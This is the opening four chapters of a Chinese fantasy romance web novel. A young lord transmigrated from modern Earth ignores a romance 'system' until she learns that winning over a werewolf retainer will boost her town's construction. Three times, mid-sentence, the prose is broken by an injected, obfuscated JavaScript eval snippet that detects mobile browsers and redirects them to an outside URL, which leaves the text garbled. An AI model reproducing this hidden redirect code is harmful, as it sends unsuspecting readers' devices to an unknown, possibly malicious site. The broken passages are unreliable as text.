《基建,但乙女版》 1. 第 1 章 【附近100米出现可攻略对象】 【请宿主尽快前往开启攻略】 当系统的提示音滴滴滴响起的时候,艾米正穿过暴雪之后的泥泞街道,指挥跟在身边的护卫队长兰斯把失去屋子的居民转移到小镇已经废弃的教堂里。 “兰斯,不用跟着我了。”艾米穿着一双老旧的深棕色皮靴,踩在雪地上吱嘎吱嘎作响:“现在正是忙的时候,托利亚小镇就这么大点,我等下会自己回去的。” “艾米小姐——”兰斯话刚说出口,就意识到面前的少女并不是能因为一两句劝阻就改变心意的人。 他微微颔首,恭敬地弯下腰,换了另外一个称呼:“好的,领主大人。” 护卫队长兰斯从二十年前就已经在领主府工作,他是艾米父亲克莱恩大人的贴身近卫,也是在神的见证下受封的骑士。 作为看着面前这个小姑娘一点点长大的长辈,他时常在下属身份之外生出一些慈爱的担忧,就如同现在。 但无论如何,他是骑士,而艾米是他的领主,遵从领主大人的一切安排是他的职责。 “请您回领主府的路上务必当心。”兰斯忍不住叮嘱。 艾米弯了弯眼睛,栗色的眼眸和她的发色一样温柔。 “也请您放心,兰斯叔叔。我会看顾好自己的。” 看着兰斯带着一批孩子朝教堂的方向走去,艾米也终于有空回复脑子里一直叫个不停的系统了。 “闭嘴。” “宿主你走错方向了!可攻略对象在那边!” 艾米没理会,继续往前走。 “宿主,你激活我已经整整十天了,十天了!你怎么一点动静都没有?我真恨,我恨你是块木头。” 见艾米根本没有回应的意思,系统有点急了:“求求你了,宿主,你再不开启攻略任务,我就要消散了。” 艾米停下了脚步:“什么时候?” 系统:“?” 艾米:“你吵死了。” 系统:“呜呜呜我命好苦。” 艾米:“...别哭了。” 系统:“那你去找可攻略对象激活任务。” 艾米不再说话。 她准备再熬几天,一直熬到系统“没电”消散了再说。 “真是见鬼了,我专门从乙女玩家里筛选出的你,作为恋爱游戏资深玩家,每天都在各大产粮平台等着太太喂饭,充盈的爱意能够同时和八个男人结婚,曾经发表过‘区区x根,我全都要’的评论,怎么现在就变成了一块木头...” “那也是十八年前的事情了。”艾米看向不远处的领主府,栗色的眼眸穿过纷纷的雪花,透过城堡眺望更遥远的地平线。 她淡淡说道:“你来的太迟了,我已经在这里生活整整十八年了。” - 事情要从十八年前说起。 刚过完二十岁生日的艾米在同时打开平板、手机、电脑,照例完成自己同时在玩的几款乙女游戏日常时,突然眼前一黑,莫名其妙来到了这片神奇的大陆,成为托利亚小镇领主大人克莱恩先生的女儿。 艰难熬过咿呀学语的婴孩时期,艾米会走路的第一件事,就是去书房寻找关于这个世界的知识。 ——然后她发现,自己一个字也看不懂。 成为神童的梦想从此破灭。 再大一些后,艾米逐渐知道了这是个充满魔法和炼金术的神奇世界,她又开始期待自己是天才魔法师,能在十二岁生日当天能收到皇家学院的录取通知书。 可惜,这个愿望也没实现。 艾米没有放弃,她始终坚信自己被丢到异世界来一定是干一番大事业的,于是十三岁的她开始热心于父亲的领主事务,想利用自己先进的现代知识带领大家致富。 遗憾的是,当她完整地巡视完领地之后,才对这片土地的穷苦有了更深刻的认识。 托利亚小镇位于大陆的北方,隶属于北境第一大领主纳维公爵的温特领。 这块庞大的土地每年有一大半的时间都笼罩在粗粝的寒风之中,北边是永夜之海,西边是无尽的寒霜之森,南边被魔兽山脉阻隔,只有一条神圣大道和南边的王城相连。 温特领的主要食物来源是海产品,掌管永夜之海以及东岸各个港口的纳维公爵靠着海洋贸易赚得盆满钵满。 但托利亚小镇有点特殊,它被周围的领地紧紧包裹,没有和海岸线交接的港口,自然发展不了渔业。 除此之外,这里还曾有过砂砾之城的外号,意思是这里土地就像砂砾一样粗糙,毫无肥力,种出来的食物难吃至极,就像砂纸划过嗓子。 总之,细数农林牧渔,托利亚小镇没有一样能拿出手。 如果不是克莱恩先生做领主的时候,减免了许多名目的赋税,恐怕没多少人能在这里活得下去。 巧妇也难为无米之炊。 更何况,她既无法修习魔法,也没什么剑术上的天赋,只是一个资质平平的贵族小姐,实在算不上“巧妇”。 变故在艾米十五岁那年发生。北境经历了数十年未遇的寒冬,父亲因此病倒了,她开始接手领主的工作。 幸好她也并不是一位不谙世事的贵族小姐,在管家古德先生的帮助下,艾米很快就能将领地的大小事务处理得井井有条。 只是父亲的病久久未能痊愈。 焦急的艾米花了不少金币去其他大城市请知名的光明法师,这导致领主府本就糟糕的财务状况更加雪上加霜。 尽管父亲多次劝她别把钱花在这种无意义的事情上,却没起多大作用。 ——他的女儿,可爱的像清晨花朵上露水的女儿,从来都是最有主见的那个。 艾米十七岁的生日过后,克莱恩的病情加重了。 如果说之前他偶尔还能和女儿一起散散步,或者参加托利亚最重要的丰收节庆典,那现在,克莱恩大人几乎就只能连日躺在床上。 在生命最后的日子,父亲在病榻上寄出了许多书信。 有那么几次,艾米感觉他注视着自己,似乎是有话想说,但无论多少次,他最后也只是轻轻叹了口气。 直到上个月,已是油尽灯枯的克莱恩先生将一卷被魔法封印住的羊皮纸递给了女儿。 作为一位古典、恪守传统、又十分疼爱女儿的贵族父亲来说,他能想到的为女儿做的最后一件事,便是替她寻一门好亲事。 “我的艾米宝贝。”克莱恩扶着女儿的头发,强撑着身体、假装轻快地说:“你需要一位有钱且慷慨的丈夫带给你幸福快乐。” 看到女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055668|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿担忧的脸上出现了抗拒的神色,他紧接着补充道:“先别这么着急拒绝一个父亲的好意。这是婚契,但最后的决定权在你。” 艾米至今没有打开那封卷轴,签下自己的名字。 婚契仍然锁在柜子的深处。 按照现行的律法,如果她嫁给了另外一位贵族,那就会失去自己的领地的继承权。 所以她没考虑过嫁人。 十天前,克莱恩先生去世了。 由于托利亚小镇的教堂已经废弃多年,葬礼是在中央广场举办的。 小镇的居民几乎都来了,他们十分感激克莱恩先生的仁慈,同时庆幸新的领主艾米小姐有着同样宽厚的好心肠。 大家排着队放下伴手礼,有的是南瓜、有的是蜂蜜,也有一些是自制的花环,他们真心实意地感激领主大人长达数十年持续减免的赋税,眼中带着滚烫的泪花。 系统就是在这个时候出现的。 看到自己父亲棺材上方出现了一块粉色的屏幕,就算是艾米,也险些惊呼出声来。 【心动时分~幻想大陆的罗曼蒂克冒险之旅】 【点击此处开启专属你的恋爱游戏】 艾米不信邪地揉了揉眼睛,那两行字悬在半空中,带着一圈引人注目的荧光,不断弹动的特效似乎在引诱人上前点击;桃花花瓣络绎不绝地从空中缓缓飘落,为周遭的一切都蒙上了一层恋爱气息浓郁的粉色滤镜。 这样诡异的一幕似乎只有艾米能看到。 她环顾四周,发现其他的所有人对眼前怪象都视若无睹。 似乎是太久没收到反馈,艾米的脑海中传来了又尖又细的机械声音: “宿主,快点开始呀!你还在等什么?” 艾米警惕地环顾四周,紧张地回应道: “你是谁?你来做什么?” “我是您的外挂,请立刻——诶,你是原住民?” 系统的声音出现了一丝犹豫:“不对,你是我精心挑选的宿主,那为什么——天呐,你居然在十八年前就穿过来了!” “完了,剧情全部偏移,男主居然一个都没解锁!” 在一旁终于搞清楚前因后果的艾米沉默了。 穿越过来十八年,她期待过成为王国第一剑士、王国第一光明法师、王国第一战士、王国第一大魔导师这种响当当的人物。 退一步来说,王国第一厨神这种也行。 但唯独没想过把自己绑来的会是什么“恋爱系统”。 如果说刚刚穿越到这里的艾米可能还会对此有那么一丝遐想,但现在,她对浪漫的期待早就在日复一日的领主工作中消磨殆尽了。 比起在异世界谈一场惊天动地的恋爱、在一群帅哥之中周旋谱写爱恨交织的故事、被世界上所有有权势的男人看上他追她逃她插翅难飞....都不如现在有个仙女教母变出一大堆金币更实际。 最起码金币可以把因为雪灾而倒塌的房屋修缮一轮,可以为一下雨就积水的中央广场换上平整的新石砖,可以缴纳托利亚小镇欠下的税金,或者再不济也能买一批粮食,让大家吃上口感香醇、入口柔软的南瓜派。 艾米冷哼一声,面无表情地点了右上角的叉。 并打算把它和父亲给自己的婚契一起抛到脑后。 2. 第 2 章 突如其来的暴雪让艾米没有时间沉溺在悲伤的情绪之中。 葬礼之后的几天,她都在为此奔走。 先是要安置因为暴雪失去住所的居民,还要筹备应急食物和冬天的燃料,整整三天过去,艾米才算松了口气。 她开始代行领主职务后,首先推进的就是关于暴雪灾害的预案演习。 这个很容易理解,北境的所有领地都常年饱受暴雪灾害的侵袭,但以往所有领主的前瞻性最多能做到号召民众把地窖修大点,多存点红薯的程度。 而艾米提出的这份方案几乎涵盖了从暴雪预警到灾后重建的大小事项,大大降低了暴雪来临后的伤亡,连杂货铺的老查克都说,艾米小姐是他六十年来见过最好的一任领主。往年的冬天就像一把洞眼粗大的筛子,熬过去全靠运气,而现在,只要听艾米小姐的安排,大家就全都能活下来。 但领主小姐仍然觉得不够。 虽然伤亡减少了,但损失还是非常巨大,灾后重建一直是个大难题。 建一栋结实的房子需要二十枚金币,而一栋临时的棚屋只要五枚。对于大部分居民来说,他们并不是不知道结实的房子更划算,但是一年的盈余满打满算就只有一两枚金币,遇到暴雪压垮了屋梁,也只舍得花上半枚金币凑活修一下。 久而久之,这就像个无解的难题,大家永远都住在破烂的房子里,永远都在祈祷屋顶能再多撑一个月。 幸好教堂的质量够好。 这是神明的目光也不会投来的偏僻小镇,自从十年前上任神官回王都后,圣殿就再没派人过来,教堂也早就废弃了。 对待神明并不虔诚的艾米由衷感谢圣殿当初愿意花钱给托利亚修建一栋结实的教堂。 要知道,连领主府的阁楼都会漏水,而教堂居然能几十年屹立不倒,防风又耐寒。 有些上了年纪的老人说,这是因为当初神官使用了光明系的法术来加固。 艾米不是没想到请一位法师来做这件事,但是在问了价格后立刻退避三舍,如果有这个钱,她何苦想要走这个捷径。 “唉。” 念及此处,领主小姐在无人的书房重重叹了口气。 沉寂了整整一天的系统感受到宿主的烦闷,觉得现在似乎是个机会。 “宿主,你很缺钱吗?” 艾米有气无力地回应:“缺。” 系统:“我可以让这个世界最有钱的人爱上你。” 艾米:“你能让他的钱以一种不受诅咒、没有副作用、且没有扣税的方式,无痛出现在我的库房里吗?” 系统:“...” 艾米:“那你别说话了,我烦。” 【附近100米出现可攻略对象】 【请宿主尽快前往开启攻略】 提示猝不及防地再次弹出,刚才还哑口无言的系统振作起来,立刻出言提醒道:“宿主,可攻略对象朝你的方向过来了。” “他进领主府了,现在就在庭院里。” “求求你了,你就站在阳台上看一眼吧!你只需要看一眼,就一定会喜欢上他的,他可是按照你上辈子的自推选的。” 艾米兴趣乏乏:“首先,我上辈子的推有十万八千个,你说的是哪个?” “其次,我在托利亚小镇生活了十八年,连这里的每只老鼠我都认识,什么时候出现个帅哥我会不知道?” “是真的。”系统急得好像快哭出来:“求求你了,他马上就要离开了!” 被喋喋不休的念叨后,再没兴趣的人也生出了几分好奇心。 艾米正准备起身,书房的门却在这时恰好敲响。 是头发已经花白的管家古德先生。 他是位上了年纪的绅士,有着和自己父亲克莱恩先生如出一辙的古板的气质,永远穿着服帖得体的衣服,像经过岁月打磨的红木家具一样稳定,令人安心。 “这是领主府本月的预支出清单。”他抱着一本厚重的册子,摊开最新的页面递过来:“关于雪灾的支出,全部从单独的应急资金项里出了,现在这笔钱已经全部用完了。考虑到夏天过后您还要向纳维公爵缴纳税金,需要预留足够的金币,所以我建议待到丰收节后再进行补充。” “另外,因为您之前强调冬天首要保证粮食储备,所以我更换了更为廉价的主食,来确保同样的价格能采购更多的食物。” 他微微停顿,继续说道:“相应的,您本月的甜品份额被取消了。” 艾米叹了口气。 穷啊,穷得叮当响,穷得连南瓜派都要吃不上了。 她的视线快速掠过上面的条目,清楚明了,款项分明,是古德先生一贯的风格。 “不过。” 艾米抬起头,对上管家先生温和的眼眸:“克莱恩先生的葬礼上,收到了许多不错的食材,是大家送来悼念的礼品。” “我想小厨房会给您一点新的惊喜。” 嗯,这怎么不算吃上自己亲爹的席面了呢。 艾米沉闷的心情被一扫而空,她愉快地将册子收进柜子,突然想起了什么,随口问道:“领主府今天有新人来了吗?” 古德先生微微一怔:“我似乎没听说过有这样的人事变动。” 艾米没再继续问下去,只不动声色地在心底发出了意味不明的嗯哼。 系统有气无力地做最后的挣扎:“真的是极品大帅哥....他马上就要走了....错过后悔一辈子啊宿主....” 目送管家离开后,艾米不以为然地说:“那又怎样?再极品的男人也不如来两队不要工钱的建筑工来免费修一下被暴雪压垮的屋顶更实用些。” “可是,你攻略下他后,可以为领地的建筑提供质量加成啊。这样以后暴雪也不用修屋顶了。” “什么?”艾米一口热水含在嘴里,差点没被呛死。 “这是他的辅助技能。我看看,‘好感度达到后80后,领地内建筑质量提升100%。喏,资料卡上就这么写的。” 艾米不可置信地瞪大了眼睛:“等等,你慢点,我没听明白。” 系统音量抬高:“宿主!你甚至不愿意看一眼首页的介绍!每位可攻略对象都会为你的领地带来不同的加成,这是根据宿主的情况定制的‘专属恋爱游戏’。” 艾米快速打开面板,终于在一个小问号的位置看到了这段信息:“你怎么不早说?” 系统委屈:“你也没问啊。我看你一直如此抗拒,还以为是因为你现在不喜欢男的了呢。” “他走了吗?”艾米飞快地站在窗边,朝庭院望去,目之所及之处,是她见过很多次的庄园里的熟面孔。 “早就走了。”系统怏怏不乐。 “没关系。”执行力超强的领主小姐立刻按下桌面的召侍铃:“十分钟,把那个刚才出现在庭院里的英俊男人带过来。” 系统尖叫:“等等,你就这么直接把他抓过来?这可是恋爱游戏,你这种行为跟强抢民女有什么区别?你要邂逅,要偶遇,要制造浪漫...” “喂,醒醒。” 艾米用稀松平常的语气淡淡说道:“我是领主,这里是我的领地,严格来说,领地上的所有人都是我的财产而已。” “男人也一样。” - 十分钟后,仅仅凭英俊这个限定词,古德先生就找来了领主小姐要见的人。 当雷尔夫出现在她的面前时,艾米眼睛一亮——系统确实没骗她。 来者是个银灰色短发的青年,看起来不过二十岁,有着一张典型的北境人的长相,眉高眼深,五官俊朗深邃。 他不过是静静地站在那里,却好像雪地里独行踽踽的头狼透过卷起雪粒的风远远地朝人瞥上一眼——危险、矫健,但十分美丽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055669|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“他叫雷尔夫,刚才来给领主府送食物。”看到艾米的表情,古德先生欲言又止,作为老派的绅士,他并不想让领主小姐和面前的青年接触。 原因很简单,这位青年的英俊有目共睹,这张脸足以俘获一切年轻的女孩,单是雷尔夫出现在领主府庭院的那么短短的十几分钟,就已经引得庄园所有的女性疯狂,厨房里的姑娘都在打听他是哪来的,有没有结婚。 古德并不是老古董,他十分乐得见艾米从繁重的工作中喘口气,认识一些年轻的小伙子,谈谈恋爱什么的。 但唯独雷尔夫不行。 因为他是狼人。 再开明的长辈也不愿见得自己的孩子和狼人接触。 雷尔夫似乎也明白这个道理。 从进来后,他就一直恭敬地低着脑袋,灰色的毛茸茸的头发自然地垂下,眼睫微微颤抖藏住一切心绪。 艾米没管屏幕上弹出的信息,先问出了自己关心的第一个问题:“你什么时候来的托利亚,我之前怎么没见过你?” “五年前,您曾经救下了我。”雷尔夫避开了艾米的眼睛,克制着自己的视线:“在一场雪灾后。” 艾米皱着眉头思考了片刻,才从记忆深处捞出这个片段。 那时她刚开始跟着父亲处理一些领主的事务,在一次暴雪之后,在城郊的林道旁见到了这只小狼。 艾米是循着血迹发现的他,他受了很多伤,腹部还流着血,毛发上混合着血迹和污渍,看起来十分狼狈,如果不是还能看到胸口微弱的起伏,恐怕所有人都会觉得他已经死了。 狼人是邪恶的象征,越是偏僻的小镇越有这样的偏见,农户们尤其讨厌异种,所以雷尔夫即使受了伤,也尽量避开人类。 但仍然避不开主动找过来的人类。 “啊...原来是你。” “你已经长这么大了。” 艾米后知后觉地恍然,她抬起头,上下打量眼前的青年。 当时的雷尔夫还十分瘦弱,看上去只有十几岁少年的体格。 而现在的他,已经足足有一米九的身高,以至于艾米要仰着脖子才能和他说话。 “你的耳朵和尾巴呢?”艾米怀念起那只受伤的小狼,那是她穿越异世界后见到的第一个兽人,自然十分兴奋,每天借着上药的机会□□.他的大尾巴。 “抱歉,当时我无法控制我的样子。”雷尔夫误解了这话的意思,在他的认知中,所有非人的特征,都是不好的东西,所以极力解释送食物时不会吓到领主府的管事们。 “我倒不是这个意思....”艾米顿了顿,继续问:“那这几年你在做什么?” “我在南境做雇佣兵,小姐。”雷尔夫用低沉的嗓音不疾不徐地回应。 艾米的视线扫过面前青年身侧的剑鞘。 做过雇佣兵,武力值应该没问题,要攻略对方,总得找借口先把人留在身边。 她沉吟片刻,直接了当地询问:“你愿意来做我的侍从吗?” 古德先生立刻吓得咳了起来——真是怕什么来什么。 雷尔夫好似被定住了,半响才慢慢说道:“...小姐,我是狼人。” “嗯。所以你愿意吗?” 艾米又走近了一步,犬类的鼻子让雷尔夫闻到清晰的女性的馨香,那是和五年前一模一样的味道。 “...我是狼人。”他又强调了一遍,尖利的犬齿咬在舌尖,压下心底莫名的焦躁。 艾米嗓音溢出轻笑:“我知道的,你不用再说了。” “我再问最后一遍。” “雷尔夫,你愿意做我的侍从吗?” 雷尔夫的视线尽数撞进栗色的眸子之中。 他感觉自己喉咙发紧,胸口深处好像一团火正在燃烧。 “我愿意。小姐。” 这正是他重新回到托利亚的目的。 3. 第 3 章 “你们系统是不是出bug了?” 艾米皱着眉头看着屏幕上出现的角色信息卡片,语气中充满怀疑。 她忍不住指着好感度后面的数字,再次确认:“我没看错吧?这个数字是68吧?” “按照你刚才的说法,这意味着,他对我的好感度快达到了愿意为我付出生命的程度?” 系统沉默了片刻,语气中似有微微的惊讶:“...是。” “50点大约等于他爱上了你,70点意味着他几乎愿意为你献上一切,而90点后,这份羁绊甚至可以击穿时空。” 屏幕上,灰色短发的雷尔夫穿着一身笔挺的制服,合身的衬衫勾勒出他劲瘦的腰身。他微微俯身,将右手放在左边绷紧的胸口处,行了一个标准的礼节。 这段动画的下方,是关于他的角色信息卡片。 【雷尔夫】 【种族:狼人】 【好感度:68】 【技能:建设】 lv1:成本控制 好感度达到60后,领地内建筑成本降低30% lv2:效率至上 好感度达到70后,领地内建筑速度提升30% lv3:可靠的家 好感度达到80后,领地内建筑质量提升100%。 lv4:快速扩张 好感度达到90后,领地内建筑成本降低50%、建设速度提升50%、建筑质量提升200% lv5:尚未解锁 “也许你被提前传送过来并不是坏事。”系统喃喃道:“也许剧情并没有偏差...而是行驶在一条更便捷的道路上。” “我就知道,选中你——等等,你在干什么?” 艾米不知何时已经回到书桌后伏案,她摊开一本厚重的册子,在一张干净的白纸上演算,并将数字填进下方的表格中。 “既然建筑成本降低了百分之三十,我要重新做预算表了,把这笔钱抠出来留给春天的种子。” 系统忍不住尖叫:“就为了这十五枚金币?” 艾米头也不抬:“这可是足足十五枚金币。” 系统颇有点恨铁不成钢的感觉:“好感度需要在相处中提升,你最好多和他待在一起。” “他现在就是我的侍从,我按下桌面的铃就可以见到他。”艾米终于放下笔:“你既然选择了我,就不要再对我的行为多嘴,尤其在我工作的时候打扰我。” 她的嗓音还带着少女未褪的娇气,像未成熟的果子,在齿间发出清脆的声音。 但说出的话却掷地有声,有着不容置喙的坚定。 系统瞬间偃旗息鼓。 它突然意识到,艾米不再是自己之前遇到的那些刚穿越过来、慌然失措的想拼命抓住救命稻草的人。 她不是个愿意任人摆布的宿主。 正相反,现在是自己有求于她——没有男主们的爱来做能量,自己很快就会消散。 察觉到系统的安静和乖顺后,艾米也收起了刚刚的咄咄逼人,换上了往常那般柔和亲切的样子。 为了嘉奖它的听话,领主小姐耐心地出言解释:“关于雷尔夫,我已经派人去给他准备礼物了。” “他是狼人。”艾米写下最后一个数字,合上面前厚重的书册:“而明晚,恰巧就是月圆之夜。” - 艾米小姐身边多了一位新侍从。 这个消息在一天之内,就传遍了整个小镇。 在镇上唯一的一家酒馆里,醉醺醺的酒鬼们挤在暴雪之后唯一完好的吧台桌前,讨论着这张生面孔。 “我听说,他是个狼人。”有人起了个话头,想借此打听更多的细节。 “没错,不过除了那头灰色的短发,根本看不出来。艾米小姐知道这回事吗?” 酒馆老板为客人续上酒水,发出嗤笑:“你都知道的事情,我们的领主大人怎么会不知道?看看你身上的棉衣吧,要不是艾米小姐发现了这种柔软暖和的棉花,你现在都在家冻成冰块啦!” “艾米小姐真是善良,而狼人全是小偷和盗贼,没一个好东西。” “不过他看起来倒是老实。”有人中肯地评价道:“力气也大。” “最关键的是,长得确实没得说。” 刚才说话的酒鬼忍不住接话茬:“这就是我想说的!艾米小姐应该和一位有钱爱她的贵族结婚,干嘛要和狼人扯上关系。” “要我说,只有王子才配得上她,可不能因为一只——畜生就——” 酒鬼舌头好似打了结,支支吾吾“就”个没完。 酒馆老板刚准备驳斥这个口无遮拦的蠢蛋,但听到后半段也点了点头。 “你不该这么评价领主的生活,幸好这是是托利亚,如果在其他地方,你现在舌头已经被拔掉了。” “不过你说的有点道理,这杯算我请你。” 气氛在酒精的烘托之下越来越高涨,拥挤的吧台响起一阵热烈的碰杯声,此起彼伏的祝词最后只剩下一句: “敬我们的领主大人!” 在领主府的厨房里,关于雷尔夫的讨论也从未停过。 “是个能干的小伙子。”莫里大婶对他的印象很好:“上次来送菜的时候,还主动帮我搬到地窖里了。” “只是可惜是个狼人。”不知是谁接了这么一句。 “狼人怎么了。”有年轻的小女仆涨红了脸,忍不住为雷尔夫辩驳:“您不会还相信什么狼人会带来邪恶,这套老旧的说法吧?” 莫里大婶主动接过话:“倒不是因为这个。” “你们年轻人不知道,在几十年前,狼人就等同于强盗,作为兽人中最聪明、最像人的种族,他们无法接受兽人那套原始的生存哲学,又因为外貌被人类村庄排斥,赚钱的法子就是抢。” “狼人的体魄比人类要强健得多,所以十次有九次都满载而归。” “我小的时候,村子里进狼人了比兽潮来了还可怕。最起码,没有智力的野兽只会啃咬围栏和田地,而狼人烧杀抢掠可全都做得出来。” “到了月圆之夜,这些平日里尚存理智的家伙立刻变得像畜生一样,连一丁点人性都没了,只会凭本能撕咬一切生物,我姑妈的丈夫的弟弟,曾在这么个夜晚遇到了一只狼人,一个照面之后,就只剩下了半张血肉模糊的脸,最后尸体支零破碎地散落在大路上。” 小女仆想象那画面,不禁打了个寒颤,旖旎怀春的心思全都消失了。 她怯生生地问:“狼人这么可怕...艾米小姐怎么还会留下雷尔夫呢?” “领主大人自然有自己的判断。”莫里大婶拍拍手,从咕噜咕噜的奶锅中夹起温热的瓶子:“好啦!这些都不是你需要担心的,已经这么晚了,该给艾米小姐送牛奶了。” 小女仆想起自己的工作,她连忙点头,动作麻利地端起餐盘,脚步轻快地朝领主大人的书房走去。 自从她来到领主府的厨房工作后,就担起了每晚送牛奶的工作。 而领主大人,也几乎每晚雷打不动地出现在书房,看书、工作,直至深夜才入眠。 放下牛奶之后,小女仆小心翼翼地拉开书房,慢慢退出去,唯恐影响到艾米小姐的工作。 就在她侧身合上房门后,正巧见到雷尔夫正从楼梯上来。 刚听过关于狼人的恐怖故事,小女仆有点胆怯,她抱着餐盘低下脑袋,连看都不敢看对方一眼,一溜烟地从青年和走廊的夹缝中跑了出去。 - “雷尔夫,你会受到月圆之夜的影响吗?” 在壁炉烧得暖洋洋的书房里,艾米捧着热牛奶询问道。 “会有些影响,但对我来说,并不是完全不受控制。”青年微微俯身,垂下脑袋恭敬地说:“尤其是打完针之后。” 艾米舔了舔唇上的奶皮:“明天晚上就是月圆之夜了。” “是的。” “我会提前注射药剂,如果您需要的话,我会在夜晚降临之前离开城镇,去森林里过夜。” “那倒不用。”艾米放下杯子,继续说道:“我好奇狼人的生活习性很久了,我打算明晚和你待在一起,做一些研究和观察。” 雷尔夫眉头皱起,他立刻就想劝阻眼前这位看起来瘦弱纤细的少女冒出的不明智的念头。 但还没等他张口,艾米快一步从书桌下取出她为明晚的任务准备的道具来:“而且,我还提前为你准备了这些。” 雷尔夫的表情出现了一丝微妙的停滞。 “我想——”他犹豫了片刻,指向桌面的绳子:“这个东西应该绑不住我。” “这可是魔法道具。”艾米从椅子上站起来,抓起绳子往雷尔夫身上比划。 为了配合领主小姐,青年俯下身来,抬起手腕主动建议道:“那您可以提前把我绑起来试试。” 当自己的手和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055670|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷尔夫的手掌放在一起的时候,艾米才真切感受到两个人之间巨大的体型差异。 在她手心里看起来十分粗壮的三股麻绳,绕过雷尔夫的手腕却显得十分纤细,他骨骼清晰的健硕小臂没有一丝赘肉,不发力的情况下也隐约可见血管跳动的痕迹。 没绑过人的艾米胡乱缠了几圈后怎么看怎么觉得不对,她戳了戳雷尔夫硬邦邦的胳膊,示意他找个椅子坐下。 青年顺从地照做,坐下后就自动将双手向后背到椅背。 “如果您需要的话,我恰好会一点绑人的技巧。” “需要我帮您吗?” 艾米确实无从下手,她点了点头,并未在意对方这技巧是在什么情况下习得的。 于是雷尔夫开始手把手教自己怎么把他绑起来。 “对,从这里绕过去。” “请您再用点力气。” “没问题,这样是对的。但我建议您可以多缠一圈。” 他这么说的时候,艾米正用绳子勒住青年鼓鼓囊囊的胸部,没忍住视线多停留了一会。 好大。 “绳子已经到头了。” 艾米最后用力一拽,停在了雷尔夫的背后,而后笨拙地系了个结。 雷尔夫的手腕动了动,感受到绳结的松紧度后,欲言又止又言:“...如果您想捆住我的话,恐怕需要加一道禁锢法术才更稳妥。” “先不急。”艾米手一挥,语气中隐隐有着期待的雀跃:“还有这个。” 在看到她手里的东西时,雷尔夫的呼吸缓慢地加重。 他不动声色地用尖利的犬齿抵住口腔内的软肉,克制自己喉咙深处最原始的冲动。 这是一副黑色的止咬器。 小牛皮的材质充满光泽,最简单的环绕式结构,外层是三排银质的金属搭扣。 “试试大小?” 艾米举起止咬器的系带,绕到椅子的侧后方,视线刚好和雷尔夫毛茸茸的灰色头发齐平。 好想摸一把。 于是她也这么做了。 ——反正她是领主,她做什么都可以。 手感没有自己想象的那么柔软,正相反,看起来柔顺的毛发其实是有点扎手的,毛发很厚实,像是在撸大狗狗。 结束后,她假装扶了扶雷尔夫的脑袋,好像刚才的行为只是戴止咬器的准备。 嘴筒的下面抵住下巴后,艾米的手从背后环绕到前面,开始扣上面的搭扣。 她一只手扶着脑袋,一只手将皮带穿过环扣,用力一拽,再沿着挺直的鼻梁插进外侧的缝隙里。 如此重复三次后,才终于穿戴完毕。 “你觉得怎么样?”艾米话刚说出口就意识到不对:“忘了,你现在张不开嘴了。” “那换个方式,你觉得难受吗?” 雷尔夫摇了摇头。 “那我扣紧了吗?” 雷尔夫微微点头。 艾米又问了几个问题,雷尔夫均用点头和摇头来回答。 在这个过程中,他的呼吸逐渐加重,伴随着胸膛的起伏,像一只疾奔后喘气的猎豹。 “是我勒得太紧了吗?”艾米连忙上前解扣子,发现青年的皮肤发热,额头有汗珠沁出。 轻而脆的声音连续响起三次,止咬器才终于被取了下来。 雷尔夫的鼻尖被皮革摩擦后红红的,在艾米再度询问之前,他缓缓恢复了气息,重新找回温和冷静的语气:“抱歉。或许,我可以拿回去调整一下尺寸,让它在我的狼人状态下卡得更紧些。” “另外,把绳结和止咬器绑在一起使用可能会更好,如果您实在对狼人这么好奇的话,我想我们之间最好还是保持一定的距离,到时候,您可以把我栓起来。” 艾米不知道的是,对于兽人,尤其是狼人来说,被当成畜生看待是多么大的耻辱。 但雷尔夫语气如常,说起自己就像说的是栓一只狗一样。 确实应该这样,艾米点头,自己没有任何武力,谨慎点没有错。 她连绳子一起解开递了过去:“本来就是要送给你的。” 就在这时,小礼花绽放的声音在艾米耳边响起。 屏幕上弹出了新的提醒,原本空空如也的图鉴区出现了新的条目。 【喜欢的礼物:皮质止咬器】 雷尔夫喜欢一切能束缚住自己兽.欲的礼物。 尤其是来自主人的。 4. 第 4 章 冬日的太阳像一枚圆形的灯泡,没有任何温度,只散发着惨淡的光。 可傍晚之后,这一丁点聊胜于无的热量也消失了。 刚注射完药剂的雷尔夫在屋子角落坐着,颈环上的绳子穿过窗户系在外墙的锁链上。他卸下了佩剑,戴上了艾米送给他的止咬器,经过一点调整后,在人形态下,他仍然可以说话,只有变身后才会紧紧卡住属于狼的长吻。 